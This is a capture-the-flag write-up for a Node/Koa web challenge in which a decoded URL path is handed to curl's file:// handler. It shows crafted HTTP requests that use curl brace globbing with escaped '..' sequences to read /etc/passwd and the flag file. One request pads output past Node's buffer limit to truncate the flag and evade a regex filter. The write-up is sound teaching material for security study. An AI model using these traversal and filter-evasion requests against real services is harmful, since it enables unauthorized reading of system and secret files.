We're given the following files.
├── docker-compose.yml
└── web
├── Dockerfile
├── flag.txt
├── index.js
├── package-lock.json
├── package.json
└── public
├── hello.html
└── index.html
3 directories, 8 files
This challenge is a sequel to easylfi, so I suggest reading that first. Anyway, we can see the set up is similar.
FROM node:19.6.0-slim
ENV NODE_ENV=production
WORKDIR /app
RUN apt update && apt install -y curl
COPY ["package.json", "package-lock.json", "./"]
RUN npm install --omit=dev
COPY . .
RUN mv flag.txt /flag.txt
USER 404:404
CMD ["node", "index.js"]
However, there's a few differences. The following excerpt shows index.js.
const app = new (require("koa"))();
const execFile = require("util").promisify(require("child_process").execFile);
const PORT = process.env.PORT ?? "3000";
// WAF
app.use(async (ctx, next) => {
await next();
if (JSON.stringify(ctx.body).match(/SECCON{\w+}/)) {
ctx.body = "🤔";
}
});
app.use(async (ctx) => {
const path = decodeURI(ctx.path.slice(1)) || "index.html";
try {
const proc = await execFile(
"curl",
[`file://${process.cwd()}/public/${path}`],
{ timeout: 1000 }
);
ctx.type = "text/html; charset=utf-8";
ctx.body = proc.stdout;
} catch (err) {
ctx.body = err;
}
});
app.listen(PORT);
The most notable differences are:
/SECCON{\w+}/ Regex pattern instead of just a SECCON string.This means that our previous trick to get rid of SECCON won't work, and that the URL parsing might be slightly different. To check the new URL parsing, I recreated the /etc/passwd read from the previous writeup.
GET /%7b%5c.%5c./%5c.%5c./etc/passwd%7d HTTP/1.1
Host: localhost:3000
HTTP/1.1 200 OK
...snip...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...snip...
Luckily it seems to function largely the same, but I did notice a difference when trying to read a file that didn't exist.
GET /%7b%5c.%5c./%5c.%5c./AAAA%7d HTTP/1.1
Host: localhost:3000
HTTP/1.1 200 OK
...snip...
{
"code":37,
"killed":false,
"signal":null,
"cmd":"curl file:///app/public/{\\.\\./\\.\\./AAAA}",
"stdout":"",
"stderr":"curl: (37) Couldn't open file /AAAA\n"
}
Interesting! In this version of the challenge errors are returned (recall in the last challenge it would just return "Something went wrong"). I wasn't immediately sure how this would be useful, so I moved onto testing some random ideas in the hope that useful behaviour would show itself. One of those ideas was reading a binary file and seeing if that might lead to weird changes in other bytes in the stdout. Instead, I ran into the following error.
GET /%7b%5c.%5c./%5c.%5c./bin/bash%7d HTTP/1.1
Host: localhost:3000
HTTP/1.1 200 OK
Content-Length: 2320251
...snip...
{
"code":"ERR_CHILD_PROCESS_STDIO_MAXBUFFER",
"cmd":"curl file:///app/public/{\\.\\./\\.\\./bin/bash}",
"stdout":"ELF[...snip...]\u0000\u0000H�G\bI��H�",
"stderr":" % Total % Received % Xferd Average Speed [...snip...] --:--:-- --:--:-- --:--:-- 0"
}
Notice that it tried to print the content of /bin/bash but couldn't print all of it? I quickly had the idea that we could use this behaviour to remove the last } character from the flag when reading /flag.txt. We can do this by:
max stdio buffer - length of the flag + 1.If this idea works, it would print the flag up to the last } character and then hit the ERR_CHILD_PROCESS_STDIO_MAXBUFFER error. This should prevent us from matching the /SECCON{\w+}/ pattern. Through some trial and error, I was able to do this using the following request.
GET /%7b%5c.%5c./%5c.%5c./bin/touch,%5c.%5c./%5c.%5c./bin/touch,%5c.%5c./%5c.%5c./bin/touch,%5c.%5c./%5c.%5c./bin/touch,%5c.%5c./%5c.%5c./bin/touch,%5c.%5c./%5c.%5c./bin/touch,%5c.%5c./%5c.%5c./bin/cat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./bin/zcat,%5c.%5c./%5c.%5c./usr/bin/debconf-communicate,%5c.%5c./%5c.%5c./usr/bin/debconf-communicate,%5c.%5c./%5c.%5c./usr/bin/debconf-communicate,%5c.%5c./%5c.%5c./etc/passwd,%5c.%5c./%5c.%5c./etc/timezone,%5c.%5c./%5c.%5c./etc/timezone,%5c.%5c./%5c.%5c./etc/timezone,%5c.%5c./%5c.%5c./etc/timezone,%5c.%5c./%5c.%5c./etc/timezone,%5c.%5c./%5c.%5c./etc/timezone,%5c.%5c./%5c.%5c./etc/timezone,%5c.%5c./%5c.%5c./etc/timezone,%5c.%5c./%5c.%5c.,%5c.%5c./%5c.%5c./flag.txt%7d?.json HTTP/1.1
Host: localhost:3000
HTTP/1.1 200 OK
Content-Length: 2414264
...snip...
{
"code":"ERR_CHILD_PROCESS_STDIO_MAXBUFFER",
"cmd":"curl file:///app/public/{\\.\\./\\.\\./bin/touch,\\.\\./\\.\\./bin/touch,\\.\\./\\.\\./bin/touch,\\.\\./\\.\\./bin/touch,\\.\\./\\.\\./bin/touch,\\.\\./\\.\\./bin/touch,\\.\\./\\.\\./bin/cat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./bin/zcat,\\.\\./\\.\\./usr/bin/debconf-communicate,\\.\\./\\.\\./usr/bin/debconf-communicate,\\.\\./\\.\\./usr/bin/debconf-communicate,\\.\\./\\.\\./etc/passwd,\\.\\./\\.\\./etc/timezone,\\.\\./\\.\\./etc/timezone,\\.\\./\\.\\./etc/timezone,\\.\\./\\.\\./etc/timezone,\\.\\./\\.\\./etc/timezone,\\.\\./\\.\\./etc/timezone,\\.\\./\\.\\./etc/timezone,\\.\\./\\.\\./etc/timezone,\\.\\./\\.\\.,\\.\\./\\.\\./flag.txt}",
"stdout":"--_curl_--file:///app/public/../../bin/touch\nELF[...snip...]--_curl_--file:///app/public/../../flag.txt\nSECCON{dummydummy",
"stderr":"\n[1/43]: file:///app/public/../../bin/touch[...snip...]"
}
Nice! You can see in the stdout field of the response that we got the flag by successfully cutting the } off the end.